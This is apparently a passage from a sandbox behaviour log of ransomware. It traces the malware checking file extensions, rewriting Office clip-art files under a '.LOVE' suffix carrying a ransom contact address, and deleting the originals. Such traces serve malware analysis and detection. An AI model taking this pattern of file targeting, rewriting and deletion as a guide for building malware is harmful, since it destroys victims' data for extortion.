lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.579] lstrlenW (lpString=".xls") returned 4 [0212.579] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.579] lstrlenW (lpString=".xlsx") returned 5 [0212.579] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0212.579] lstrlenW (lpString=".ppt") returned 4 [0212.579] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0212.579] lstrlenW (lpString=".zip") returned 4 [0212.579] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.579] lstrlenW (lpString=".rar") returned 4 [0212.579] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.579] lstrlenW (lpString=".bz2") returned 4 [0212.579] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.579] lstrlenW (lpString=".7z") returned 3 [0212.579] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0212.579] lstrlenW (lpString=".dbf") returned 4 [0212.579] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0212.579] lstrlenW (lpString=".1cd") returned 4 [0212.579] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0212.580] lstrlenW (lpString=".jpg") returned 4 [0212.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.580] GetLastError () returned 0x0 [0212.580] ReadFile (in: hFile=0x35c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xa82, lpOverlapped=0x0) returned 1 [0213.645] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xa90, lpOverlapped=0x0) returned 1 [0213.646] ReadFile (in: hFile=0x35c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0213.646] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0213.646] SetEndOfFile (hFile=0x384) returned 1 [0217.483] CloseHandle (hObject=0x384) returned 1 [0217.483] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.483] SetEndOfFile (hFile=0x35c) returned 1 [0217.484] CloseHandle (hObject=0x35c) returned 1 [0217.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0217.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 1 [0217.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0217.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0217.485] lstrlenW (lpString=".doc") returned 4 [0217.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.485] lstrlenW (lpString=".docx") returned 5 [0217.485] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.485] lstrlenW (lpString=".pdf") returned 4 [0217.485] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.485] lstrlenW (lpString=".xls") returned 4 [0217.485] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.485] lstrlenW (lpString=".xlsx") returned 5 [0217.485] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.485] lstrlenW (lpString=".ppt") returned 4 [0217.486] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0217.486] lstrlenW (lpString=".zip") returned 4 [0217.486] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.486] lstrlenW (lpString=".rar") returned 4 [0217.486] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.486] lstrlenW (lpString=".bz2") returned 4 [0217.486] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.486] lstrlenW (lpString=".7z") returned 3 [0217.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0217.486] lstrlenW (lpString=".dbf") returned 4 [0217.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0217.486] lstrlenW (lpString=".1cd") returned 4 [0217.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0217.486] lstrlenW (lpString=".jpg") returned 4 [0217.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.487] GetLastError () returned 0x0 [0217.487] ReadFile (in: hFile=0x35c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xa7f0, lpOverlapped=0x0) returned 1 [0217.686] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xa800, lpOverlapped=0x0) returned 1 [0217.688] ReadFile (in: hFile=0x35c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0217.688] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0217.688] SetEndOfFile (hFile=0x384) returned 1 [0217.688] CloseHandle (hObject=0x384) returned 1 [0217.689] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.689] SetEndOfFile (hFile=0x35c) returned 1 [0217.690] CloseHandle (hObject=0x35c) returned 1 [0217.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0217.690] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 1 [0217.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0217.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0217.690] lstrlenW (lpString=".doc") returned 4 [0217.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.690] lstrlenW (lpString=".docx") returned 5 [0217.690] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.690] lstrlenW (lpString=".pdf") returned 4 [0217.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.691] lstrlenW (lpString=".xls") returned 4 [0217.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.691] lstrlenW (lpString=".xlsx") returned 5 [0217.691] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.691] lstrlenW (lpString=".ppt") returned 4 [0217.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0217.691] lstrlenW (lpString=".zip") returned 4 [0217.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.691] lstrlenW (lpString=".rar") returned 4 [0217.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.691] lstrlenW (lpString=".bz2") returned 4 [0217.691] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.691] lstrlenW (lpString=".7z") returned 3 [0217.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0217.691] lstrlenW (lpString=".dbf") returned 4 [0217.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0217.691] lstrlenW (lpString=".1cd") returned 4 [0217.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0217.691] lstrlenW (lpString=".jpg") returned 4 [0217.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.692] GetLastError () returned 0x0 [0217.692] ReadFile (in: hFile=0x35c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xb88, lpOverlapped=0x0) returned 1 [0218.221] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xb90, lpOverlapped=0x0) returned 1 [0218.223] ReadFile (in: hFile=0x35c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.223] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.223] SetEndOfFile (hFile=0x384) returned 1 [0218.223] CloseHandle (hObject=0x384) returned 1 [0218.223] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.224] SetEndOfFile (hFile=0x35c) returned 1 [0218.224] CloseHandle (hObject=0x35c) returned 1 [0218.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 1 [0218.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0218.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0218.225] lstrlenW (lpString=".doc") returned 4 [0218.225] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.225] lstrlenW (lpString=".docx") returned 5 [0218.225] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.225] lstrlenW (lpString=".pdf") returned 4 [0218.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.226] lstrlenW (lpString=".xls") returned 4 [0218.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.226] lstrlenW (lpString=".xlsx") returned 5 [0218.226] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.226] lstrlenW (lpString=".ppt") returned 4 [0218.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0218.226] lstrlenW (lpString=".zip") returned 4 [0218.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.226] lstrlenW (lpString=".rar") returned 4 [0218.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.226] lstrlenW (lpString=".bz2") returned 4 [0218.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.226] lstrlenW (lpString=".7z") returned 3 [0218.226] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0218.226] lstrlenW (lpString=".dbf") returned 4 [0218.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0218.226] lstrlenW (lpString=".1cd") returned 4 [0218.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0218.226] lstrlenW (lpString=".jpg") returned 4 [0218.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.227] GetLastError () returned 0x0 [0218.227] ReadFile (in: hFile=0x35c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x39e4, lpOverlapped=0x0) returned 1 [0218.301] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x39f0, lpOverlapped=0x0) returned 1 [0218.470] ReadFile (in: hFile=0x35c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.470] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.470] SetEndOfFile (hFile=0x384) returned 1 [0218.471] CloseHandle (hObject=0x384) returned 1 [0218.471] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.471] SetEndOfFile (hFile=0x35c) returned 1 [0218.471] CloseHandle (hObject=0x35c) returned 1 [0218.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 1 [0218.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0218.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0218.472] lstrlenW (lpString=".doc") returned 4 [0218.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.472] lstrlenW (lpString=".docx") returned 5 [0218.472] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.472] lstrlenW (lpString=".pdf") returned 4 [0218.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.472] lstrlenW (lpString=".xls") returned 4 [0218.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.472] lstrlenW (lpString=".xlsx") returned 5 [0218.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.472] lstrlenW (lpString=".ppt") returned 4 [0218.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0218.473] lstrlenW (lpString=".zip") returned 4 [0218.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.473] lstrlenW (lpString=".rar") returned 4 [0218.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.473] lstrlenW (lpString=".bz2") returned 4 [0218.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.473] lstrlenW (lpString=".7z") returned 3 [0218.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0218.473] lstrlenW (lpString=".dbf") returned 4 [0218.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0218.473] lstrlenW (lpString=".1cd") returned 4 [0218.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0218.473] lstrlenW (lpString=".jpg") returned 4 [0218.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.473] GetLastError () returned 0x0 [0218.473] ReadFile (in: hFile=0x35c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x85c, lpOverlapped=0x0) returned 1 [0218.608] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x860, lpOverlapped=0x0) returned 1 [0218.609] ReadFile (in: hFile=0x35c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.609] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.609] SetEndOfFile (hFile=0x384) returned 1 [0218.610] CloseHandle (hObject=0x384) returned 1 [0218.610] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.610] SetEndOfFile (hFile=0x35c) returned 1 [0218.610] CloseHandle (hObject=0x35c) returned 1 [0218.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 1 [0218.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0218.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0218.611] lstrlenW (lpString=".doc") returned 4 [0218.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.611] lstrlenW (lpString=".docx") returned 5 [0218.611] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.611] lstrlenW (lpString=".pdf") returned 4 [0218.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.611] lstrlenW (lpString=".xls") returned 4 [0218.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.611] lstrlenW (lpString=".xlsx") returned 5 [0218.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.611] lstrlenW (lpString=".ppt") returned 4 [0218.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0218.611] lstrlenW (lpString=".zip") returned 4 [0218.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.611] lstrlenW (lpString=".rar") returned 4 [0218.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.611] lstrlenW (lpString=".bz2") returned 4 [0218.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.612] lstrlenW (lpString=".7z") returned 3 [0218.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0218.612] lstrlenW (lpString=".dbf") returned 4 [0218.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0218.612] lstrlenW (lpString=".1cd") returned 4 [0218.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0218.612] lstrlenW (lpString=".jpg") returned 4 [0218.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.612] GetLastError () returned 0x0 [0218.612] ReadFile (in: hFile=0x35c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xb90, lpOverlapped=0x0) returned 1 [0218.650] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xba0, lpOverlapped=0x0) returned 1 [0218.662] ReadFile (in: hFile=0x35c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.662] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.662] SetEndOfFile (hFile=0x384) returned 1 [0218.662] CloseHandle (hObject=0x384) returned 1 [0218.662] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.662] SetEndOfFile (hFile=0x35c) returned 1 [0218.663] CloseHandle (hObject=0x35c) returned 1 [0218.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 1 [0218.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0218.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0218.666] lstrlenW (lpString=".doc") returned 4 [0218.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.666] lstrlenW (lpString=".docx") returned 5 [0218.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.666] lstrlenW (lpString=".pdf") returned 4 [0218.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.666] lstrlenW (lpString=".xls") returned 4 [0218.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.666] lstrlenW (lpString=".xlsx") returned 5 [0218.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.666] lstrlenW (lpString=".ppt") returned 4 [0218.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0218.666] lstrlenW (lpString=".zip") returned 4 [0218.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.666] lstrlenW (lpString=".rar") returned 4 [0218.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.666] lstrlenW (lpString=".bz2") returned 4 [0218.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.666] lstrlenW (lpString=".7z") returned 3 [0218.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0218.666] lstrlenW (lpString=".dbf") returned 4 [0218.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0218.666] lstrlenW (lpString=".1cd") returned 4 [0218.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.666] lstrlenW (lpString="C:\\Program Files\\Microsoft 